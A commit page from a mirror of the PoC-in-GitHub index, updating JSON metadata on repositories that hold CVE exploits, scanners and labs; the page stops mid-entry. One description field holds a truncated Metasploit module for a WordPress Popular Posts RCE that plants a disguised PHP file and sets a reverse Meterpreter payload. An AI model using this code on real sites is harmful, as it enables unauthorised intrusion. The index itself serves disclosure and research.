nomi-sec/PoC-in-GitHub
1
0 Fork 0
mirror of https://github.com/nomi-sec/PoC-in-GitHub.git synced 2026-11-07 08:30:25 -10:00
Code Issues Packages Projects Releases Wiki Activity

Auto Update 2026/09/29 13:55:50

Browse Source
This commit is contained in:
motikan2010-bot committed 2026-09-29 22:55:50 +09:00
1 parent 22c464b875
commit 2c31f2d44b
68 files changed
+815 -280
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

2017/CVE-2017-5941.json
+2 -2
View File
@@ -212,8 +212,8 @@
"description": "Thesis scenario test (research only): Scenario C: EPSS-BLOCK path - [email protected] CVE-2017-5941",
"fork": false,
"created_at": "2026-09-28T08:22:22Z",
"updated_at": "2026-09-28T12:35:17Z",
"pushed_at": "2026-09-28T12:35:13Z",
"updated_at": "2026-09-29T12:11:33Z",
"pushed_at": "2026-09-29T12:11:29Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2018/CVE-2018-13379.json
+2 -2
View File
@@ -450,8 +450,8 @@
"description": "VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)",
"fork": false,
"created_at": "2026-07-31T10:13:19Z",
"updated_at": "2026-09-25T08:28:55Z",
"pushed_at": "2026-09-25T08:28:50Z",
"updated_at": "2026-09-29T11:00:06Z",
"pushed_at": "2026-09-29T11:00:01Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2019/CVE-2019-10744.json
+2 -2
View File
@@ -47,8 +47,8 @@
"description": "Thesis scenario test (research only): Scenario B: WARN path - [email protected] CVE-2019-10744 (known-vulnerable dependency, low EPSS)",
"fork": false,
"created_at": "2026-09-28T08:22:15Z",
"updated_at": "2026-09-28T12:35:12Z",
"pushed_at": "2026-09-28T12:35:08Z",
"updated_at": "2026-09-29T12:11:29Z",
"pushed_at": "2026-09-29T12:11:26Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2019/CVE-2019-7609.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": "RCE on Kibana versions before 5.6.15 and 6.6.0 in the Timelion visualizer",
"fork": false,
"created_at": "2019-10-21T07:32:31Z",
"updated_at": "2026-09-17T20:13:56Z",
"updated_at": "2026-09-29T10:30:13Z",
"pushed_at": "2019-12-20T14:28:44Z",
"stargazers_count": 56,
"watchers_count": 56,
"stargazers_count": 57,
"watchers_count": 57,
"has_discussions": false,
"forks_count": 12,
"allow_forking": true,
@@ -64,7 +64,7 @@
],
"visibility": "public",
"forks": 12,
"watchers": 56,
"watchers": 57,
"score": 0,
"subscribers_count": 2
},
2020/CVE-2020-16152.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": "### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192\/172\/127\/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https:\/\/blog.nintechnet.com\/improper-input-validation-fixed-in-wordpress-popular-posts-plugin\/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https:\/\/plugins.trac.wordpress.org\/changeset\/2542638' ], [ 'URL', 'https:\/\/github.com\/cabrerahector\/wordpress-popular-posts\/commit\/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php\/meterpreter\/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '\/']), # https:\/\/github.com\/WordPress\/wordpress-develop\/blob\/5.8\/src\/wp-includes\/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192\/10\/127\/172)', '']), # https:\/\/github.com\/WordPress\/wordpress-develop\/blob\/5.8\/src\/wp-includes\/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status(\"Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5\") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passLine truncated
"fork": false,
"created_at": "2022-01-02T08:08:00Z",
"updated_at": "2026-09-25T05:46:09Z",
"updated_at": "2026-09-29T12:11:45Z",
"pushed_at": "2022-01-02T08:08:01Z",
"stargazers_count": 15,
"watchers_count": 15,
"stargazers_count": 16,
"watchers_count": 16,
"has_discussions": false,
"forks_count": 3,
"allow_forking": true,
@@ -61,7 +61,7 @@
"topics": [],
"visibility": "public",
"forks": 3,
"watchers": 15,
"watchers": 16,
"score": 0,
"subscribers_count": 1
}
2021/CVE-2021-1931.json
+2 -2
View File
@@ -52,7 +52,7 @@
"stargazers_count": 3,
"watchers_count": 3,
"has_discussions": false,
"forks_count": 3,
"forks_count": 4,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -60,7 +60,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 3,
"forks": 4,
"watchers": 3,
"score": 0,
"subscribers_count": 0
2021/CVE-2021-21315.json
+2 -2
View File
@@ -192,8 +192,8 @@
"description": "Thesis scenario test (research only): Scenario D: KEV override path - [email protected] CVE-2021-21315",
"fork": false,
"created_at": "2026-09-28T08:22:28Z",
"updated_at": "2026-09-28T12:35:33Z",
"pushed_at": "2026-09-28T12:35:29Z",
"updated_at": "2026-09-29T12:11:37Z",
"pushed_at": "2026-09-29T12:11:32Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2022/CVE-2022-28108.json
-35
View File
@@ -1,35 +0,0 @@
[
{
"id": 914589028,
"name": "CVE-2022-28108",
"full_name": "ZeroEthical\/CVE-2022-28108",
"owner": {
"login": "ZeroEthical",
"id": 194415982,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/194415982?v=4",
"html_url": "https:\/\/github.com\/ZeroEthical",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/ZeroEthical\/CVE-2022-28108",
"description": null,
"fork": false,
"created_at": "2025-01-09T22:28:11Z",
"updated_at": "2025-01-10T00:18:20Z",
"pushed_at": "2025-01-10T00:18:17Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 1
}
]
2022/CVE-2022-40684.json
+2 -2
View File
@@ -981,8 +981,8 @@
"description": "VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)",
"fork": false,
"created_at": "2026-07-31T10:13:19Z",
"updated_at": "2026-09-25T08:28:55Z",
"pushed_at": "2026-09-25T08:28:50Z",
"updated_at": "2026-09-29T11:00:06Z",
"pushed_at": "2026-09-29T11:00:01Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2023/CVE-2023-27997.json
+2 -2
View File
@@ -344,8 +344,8 @@
"description": "VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)",
"fork": false,
"created_at": "2026-07-31T10:13:19Z",
"updated_at": "2026-09-25T08:28:55Z",
"pushed_at": "2026-09-25T08:28:50Z",
"updated_at": "2026-09-29T11:00:06Z",
"pushed_at": "2026-09-29T11:00:01Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2023/CVE-2023-3519.json
+4 -4
View File
@@ -51,10 +51,10 @@
"description": "Passively fingerprint Citrix ADC \/ NetScaler ADC & Gateway builds and detect known CVEs — CVE-2023-3519, CitrixBleed 2\/3, CVE-2026-8452, and CVE-2026-88771\/88772 (KEV)",
"fork": false,
"created_at": "2023-07-20T16:05:07Z",
"updated_at": "2026-09-29T06:22:31Z",
"updated_at": "2026-09-29T08:13:09Z",
"pushed_at": "2026-09-28T15:14:37Z",
"stargazers_count": 88,
"watchers_count": 88,
"stargazers_count": 89,
"watchers_count": 89,
"has_discussions": false,
"forks_count": 14,
"allow_forking": true,
@@ -77,7 +77,7 @@
],
"visibility": "public",
"forks": 14,
"watchers": 88,
"watchers": 89,
"score": 0,
"subscribers_count": 1
},
2023/CVE-2023-38831.json
+33
View File
@@ -1968,5 +1968,38 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1394693448,
"name": "DFIR-Capstone-Investigations",
"full_name": "Dnyaneshwari-123\/DFIR-Capstone-Investigations",
"owner": {
"login": "Dnyaneshwari-123",
"id": 196306147,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/196306147?v=4",
"html_url": "https:\/\/github.com\/Dnyaneshwari-123",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/Dnyaneshwari-123\/DFIR-Capstone-Investigations",
"description": "Three DFIR investigations: memory forensics (Volatility), disk\/malware analysis (Silent Breach), and attack-chain reconstruction (CVE-2023-38831). Reports, timelines, IOCs and MITRE ATT&CK mapping.",
"fork": false,
"created_at": "2026-09-29T08:10:18Z",
"updated_at": "2026-09-29T08:54:54Z",
"pushed_at": "2026-09-29T08:54:41Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2023/CVE-2023-45866.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "🚨 CVE-2023-45866 - BlueDucky Implementation (Using DuckyScript) 🔓 Unauthenticated Peering Leading to Code Execution (Using HID Keyboard)",
"fork": false,
"created_at": "2024-01-16T06:52:02Z",
"updated_at": "2026-09-28T06:17:01Z",
"updated_at": "2026-09-29T08:19:17Z",
"pushed_at": "2026-02-11T00:03:00Z",
"stargazers_count": 1887,
"watchers_count": 1887,
"stargazers_count": 1888,
"watchers_count": 1888,
"has_discussions": false,
"forks_count": 320,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 320,
"watchers": 1887,
"watchers": 1888,
"score": 0,
"subscribers_count": 30
},
2024/CVE-2024-0582.json
+4 -4
View File
@@ -113,10 +113,10 @@
"description": "is a PoC exploit targeting a specific vulnerability in the Linux kernel (CVE-2024-0582)",
"fork": false,
"created_at": "2024-10-03T07:56:36Z",
"updated_at": "2025-07-13T15:51:55Z",
"updated_at": "2026-09-29T11:00:08Z",
"pushed_at": "2024-10-03T07:58:47Z",
"stargazers_count": 13,
"watchers_count": 13,
"stargazers_count": 14,
"watchers_count": 14,
"has_discussions": false,
"forks_count": 1,
"allow_forking": true,
@@ -141,7 +141,7 @@
],
"visibility": "public",
"forks": 1,
"watchers": 13,
"watchers": 14,
"score": 0,
"subscribers_count": 2
},
2024/CVE-2024-0670.json
+2 -2
View File
@@ -118,8 +118,8 @@
"description": "🔍 Exploit CVE-2024-0670 in CheckMK agents for local privilege escalation using a robust C++ tool designed for security professionals.",
"fork": false,
"created_at": "2026-01-08T01:32:09Z",
"updated_at": "2026-09-27T05:49:12Z",
"pushed_at": "2026-09-27T05:49:08Z",
"updated_at": "2026-09-29T13:09:59Z",
"pushed_at": "2026-09-29T13:09:54Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2024/CVE-2024-21762.json
+2 -2
View File
@@ -377,8 +377,8 @@
"description": "VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)",
"fork": false,
"created_at": "2026-07-31T10:13:19Z",
"updated_at": "2026-09-25T08:28:55Z",
"pushed_at": "2026-09-25T08:28:50Z",
"updated_at": "2026-09-29T11:00:06Z",
"pushed_at": "2026-09-29T11:00:01Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2024/CVE-2024-35250.json
+3 -3
View File
@@ -150,12 +150,12 @@
"description": "CVE-2024-35250 demonstrates that HVCI is not a defense against data-only kernel exploits. As long as a driver bug provides an arbitrary R\/W primitive, token swap remains a universal SYSTEM elevation technique — no code execution required.",
"fork": false,
"created_at": "2026-02-27T13:05:49Z",
"updated_at": "2026-07-18T09:47:36Z",
"updated_at": "2026-09-29T11:39:15Z",
"pushed_at": "2026-04-03T13:02:12Z",
"stargazers_count": 8,
"watchers_count": 8,
"has_discussions": false,
"forks_count": 0,
"forks_count": 1,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -163,7 +163,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"forks": 1,
"watchers": 8,
"score": 0,
"subscribers_count": 1
2024/CVE-2024-38063.json
+33
View File
@@ -1050,5 +1050,38 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1395087679,
"name": "CVE-2024-38063-Exploitation-Detection-Mitigation-Lab",
"full_name": "izaan-sh\/CVE-2024-38063-Exploitation-Detection-Mitigation-Lab",
"owner": {
"login": "izaan-sh",
"id": 118472408,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/118472408?v=4",
"html_url": "https:\/\/github.com\/izaan-sh",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/izaan-sh\/CVE-2024-38063-Exploitation-Detection-Mitigation-Lab",
"description": null,
"fork": false,
"created_at": "2026-09-29T11:42:18Z",
"updated_at": "2026-09-29T12:34:39Z",
"pushed_at": "2026-09-29T11:55:44Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 1,
"score": 0,
"subscribers_count": 0
}
]
2024/CVE-2024-4068.json
+1 -1
View File
@@ -14,7 +14,7 @@
"description": "CVE-Candidate: DoS in [email protected] via comma-separated brace expansion (CVE-2024-4068 incomplete fix)",
"fork": false,
"created_at": "2026-07-17T14:31:01Z",
"updated_at": "2026-09-20T18:42:20Z",
"updated_at": "2026-09-29T13:13:21Z",
"pushed_at": "2026-09-20T18:42:17Z",
"stargazers_count": 0,
"watchers_count": 0,
2024/CVE-2024-54767.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "Originally an access control issue in the XML-endpoint juis_boxinfo.xml of AVM FRITZ!Box 7530 AX with FRITZ!Os v7.59 allowed attackers to obtain sensitive information without authentication.",
"fork": false,
"created_at": "2026-09-28T11:51:23Z",
"updated_at": "2026-09-29T06:22:03Z",
"pushed_at": "2026-09-28T22:55:33Z",
"updated_at": "2026-09-29T10:12:09Z",
"pushed_at": "2026-09-29T10:12:04Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2024/CVE-2024-57521.json
+2 -2
View File
@@ -47,8 +47,8 @@
"description": "Description: CVE-2024-57521 RuoYi SQL 注入漏洞代码审计、%0b 绕过与自动化 PoC",
"fork": false,
"created_at": "2026-09-19T07:10:34Z",
"updated_at": "2026-09-28T08:45:25Z",
"pushed_at": "2026-09-28T08:45:21Z",
"updated_at": "2026-09-29T09:34:17Z",
"pushed_at": "2026-09-29T09:34:13Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2025/CVE-2025-14783.json
+15 -20
View File
@@ -1,39 +1,34 @@
[
{
"id": 1126373103,
"id": 1129159130,
"name": "CVE-2025-14783-POC",
"full_name": "ZeroEthical\/CVE-2025-14783-POC",
"full_name": "Ngagne-Demba-Dia\/CVE-2025-14783-POC",
"owner": {
"login": "ZeroEthical",
"id": 194415982,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/194415982?v=4",
"html_url": "https:\/\/github.com\/ZeroEthical",
"login": "Ngagne-Demba-Dia",
"id": 138901706,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/138901706?v=4",
"html_url": "https:\/\/github.com\/Ngagne-Demba-Dia",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/ZeroEthical\/CVE-2025-14783-POC",
"html_url": "https:\/\/github.com\/Ngagne-Demba-Dia\/CVE-2025-14783-POC",
"description": "🧨 CVE-2025-14783: Easy Digital Downloads Account Takeover PoC",
"fork": false,
"created_at": "2026-01-01T19:16:03Z",
"updated_at": "2026-02-02T23:12:13Z",
"created_at": "2026-01-06T17:31:29Z",
"updated_at": "2026-01-06T17:31:29Z",
"pushed_at": "2026-01-01T19:30:28Z",
"stargazers_count": 2,
"watchers_count": 2,
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 1,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve",
"poc",
"vunerability",
"wordpress"
],
"topics": [],
"visibility": "public",
"forks": 1,
"watchers": 2,
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
2025/CVE-2025-14847.json
+4 -4
View File
@@ -14,8 +14,8 @@
"description": "🛠 Exploit the CVE-2025-14847 vulnerability in MongoDB to disclose sensitive heap memory using a Python script that analyzes responses for new leaked data.",
"fork": false,
"created_at": "2025-07-30T15:52:00Z",
"updated_at": "2026-09-27T05:50:20Z",
"pushed_at": "2026-09-27T05:50:17Z",
"updated_at": "2026-09-29T13:11:36Z",
"pushed_at": "2026-09-29T13:11:27Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
@@ -1093,8 +1093,8 @@
"description": "🔍 Scan for MongoDB vulnerabilities with MongoBleed, a high-performance tool for detecting CVE-2025-14847 across large networks quickly and efficiently.",
"fork": false,
"created_at": "2026-01-14T06:05:44Z",
"updated_at": "2026-09-27T05:50:05Z",
"pushed_at": "2026-09-27T05:50:01Z",
"updated_at": "2026-09-29T13:11:07Z",
"pushed_at": "2026-09-29T13:10:49Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2025/CVE-2025-31200.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": "CVE-2025-31200 is a zero-day, zero-click RCE in iOS CoreAudio’s AudioConverterService, triggered by a malicious audio file via iMessage\/SMS. Exploitation bypassed Blastdoor, enabled kernel escalation (CVE-2025-31201), and allowed token theft until patched in iOS 18.4.1 (Apr 16, 2025).",
"fork": false,
"created_at": "2025-05-17T23:03:56Z",
"updated_at": "2026-09-26T12:53:34Z",
"updated_at": "2026-09-29T11:29:43Z",
"pushed_at": "2026-05-05T15:35:54Z",
"stargazers_count": 204,
"watchers_count": 204,
"stargazers_count": 205,
"watchers_count": 205,
"has_discussions": false,
"forks_count": 32,
"allow_forking": true,
@@ -70,7 +70,7 @@
],
"visibility": "public",
"forks": 32,
"watchers": 204,
"watchers": 205,
"score": 0,
"subscribers_count": 2
},
2025/CVE-2025-32463.json
+35
View File
@@ -2429,5 +2429,40 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1395299205,
"name": "CVE-2025-32463",
"full_name": "klvlo\/CVE-2025-32463",
"owner": {
"login": "klvlo",
"id": 81409228,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/81409228?v=4",
"html_url": "https:\/\/github.com\/klvlo",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/klvlo\/CVE-2025-32463",
"description": "PoC \/ Exploit for CVE-2025-32463(sudo LPE)",
"fork": false,
"created_at": "2026-09-29T12:58:42Z",
"updated_at": "2026-09-29T13:07:01Z",
"pushed_at": "2026-09-29T13:06:12Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve-2025-32463"
],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2025/CVE-2025-48384.json
+2 -2
View File
@@ -19,7 +19,7 @@
"stargazers_count": 53,
"watchers_count": 53,
"has_discussions": false,
"forks_count": 27,
"forks_count": 28,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -27,7 +27,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 27,
"forks": 28,
"watchers": 53,
"score": 0,
"subscribers_count": 0
2025/CVE-2025-49844.json
+2 -2
View File
@@ -66,8 +66,8 @@
"description": "🚨 Exploit the CVE-2025-49844 Redis Lua interpreter UAF vulnerability to execute arbitrary shellcode and gain persistent backdoor access.",
"fork": false,
"created_at": "2022-04-06T09:27:39Z",
"updated_at": "2026-09-27T05:40:27Z",
"pushed_at": "2026-09-27T05:40:24Z",
"updated_at": "2026-09-29T12:54:36Z",
"pushed_at": "2026-09-29T12:54:32Z",
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
2025/CVE-2025-55182.json
+6 -6
View File
@@ -99,8 +99,8 @@
"description": null,
"fork": false,
"created_at": "2024-11-29T12:32:19Z",
"updated_at": "2026-09-27T05:47:08Z",
"pushed_at": "2026-09-27T05:47:05Z",
"updated_at": "2026-09-29T13:07:40Z",
"pushed_at": "2026-09-29T13:07:31Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
@@ -148,8 +148,8 @@
"description": "🚨 Exploit CVE-2025-55182 to demonstrate RCE in React Server Functions, highlighting risks from insecure prototype references in Next.js applications.",
"fork": false,
"created_at": "2025-06-06T16:34:46Z",
"updated_at": "2026-09-27T05:47:07Z",
"pushed_at": "2026-09-27T05:47:04Z",
"updated_at": "2026-09-29T09:06:06Z",
"pushed_at": "2026-09-29T09:06:02Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
@@ -11943,8 +11943,8 @@
"description": "🛡️ Scan and assess vulnerabilities in Next.js\/Waku with the CVE-2025-55182-Scanner, combining static and dynamic analysis for robust security.",
"fork": false,
"created_at": "2026-01-02T01:28:57Z",
"updated_at": "2026-09-27T05:48:13Z",
"pushed_at": "2026-09-27T05:48:09Z",
"updated_at": "2026-09-29T13:08:57Z",
"pushed_at": "2026-09-29T13:08:51Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2025/CVE-2025-57819.json
+33
View File
@@ -815,5 +815,38 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1383642371,
"name": "cve-2025-57819",
"full_name": "donggle0802-code\/cve-2025-57819",
"owner": {
"login": "donggle0802-code",
"id": 322130779,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/322130779?v=4",
"html_url": "https:\/\/github.com\/donggle0802-code",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/donggle0802-code\/cve-2025-57819",
"description": "Docker CTF challenge for CVE-2025-57819",
"fork": false,
"created_at": "2026-09-23T14:46:14Z",
"updated_at": "2026-09-29T09:42:18Z",
"pushed_at": "2026-09-23T14:52:31Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2025/CVE-2025-58726.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "AD AutoPwn v4.13.0 — automated AD attack chain, zero-auth to Domain Admin. Discover\/Kerberoast\/AS-REP\/AD CS ESC1-16\/Shadow Creds\/RBCD+KCD\/Ghost-SPN\/TGS-rewrite\/Dollar-Ticket\/WPAD\/WSUS\/PXE\/SCCM\/BloodHound auto-action\/Loot\/DCSync\/DPAPI + Synacktiv 2026 reflection (CVE-2025-58726\/2026-24294\/2026-26128). Authorized pentesting only.",
"fork": false,
"created_at": "2026-03-30T19:34:35Z",
"updated_at": "2026-09-28T13:37:29Z",
"updated_at": "2026-09-29T12:17:23Z",
"pushed_at": "2026-09-25T10:10:11Z",
"stargazers_count": 207,
"watchers_count": 207,
"stargazers_count": 208,
"watchers_count": 208,
"has_discussions": false,
"forks_count": 43,
"allow_forking": true,
@@ -38,7 +38,7 @@
],
"visibility": "public",
"forks": 43,
"watchers": 207,
"watchers": 208,
"score": 0,
"subscribers_count": 0
}
2025/CVE-2025-62023.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1394911572,
"name": "CVE-2025-62023",
"full_name": "josemour8\/CVE-2025-62023",
"owner": {
"login": "josemour8",
"id": 291233347,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/291233347?v=4",
"html_url": "https:\/\/github.com\/josemour8",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/josemour8\/CVE-2025-62023",
"description": "s2Member (WordPress) Unauth RCE via SP Tracking Codes eval() + BONUS: incomplete-fix bypass — IPN notify vector still open in 251005..2512xx (fixed only in 260101, strip_php_tags_deep added to notify handler \/\/251226).",
"fork": false,
"created_at": "2026-09-29T10:19:25Z",
"updated_at": "2026-09-29T10:19:48Z",
"pushed_at": "2026-09-29T10:19:45Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2025/CVE-2025-69256.json
+2 -2
View File
@@ -48,7 +48,7 @@
"fork": false,
"created_at": "2026-04-27T20:12:08Z",
"updated_at": "2026-09-21T18:24:30Z",
"pushed_at": "2026-09-28T04:13:48Z",
"pushed_at": "2026-09-29T07:50:30Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": true,
@@ -98,7 +98,7 @@
"fork": false,
"created_at": "2026-05-07T19:24:41Z",
"updated_at": "2026-09-21T18:37:54Z",
"pushed_at": "2026-09-21T18:37:50Z",
"pushed_at": "2026-09-29T08:16:59Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2025/CVE-2025-8088.json
+99
View File
@@ -1051,5 +1051,104 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1394848097,
"name": "CVE-2025-8088-WinRAR-PoC-1",
"full_name": "roof1948576qwd\/CVE-2025-8088-WinRAR-PoC-1",
"owner": {
"login": "roof1948576qwd",
"id": 318158098,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/318158098?v=4",
"html_url": "https:\/\/github.com\/roof1948576qwd",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/roof1948576qwd\/CVE-2025-8088-WinRAR-PoC-1",
"description": null,
"fork": false,
"created_at": "2026-09-29T09:43:19Z",
"updated_at": "2026-09-29T09:45:17Z",
"pushed_at": "2026-09-29T09:45:12Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1394851933,
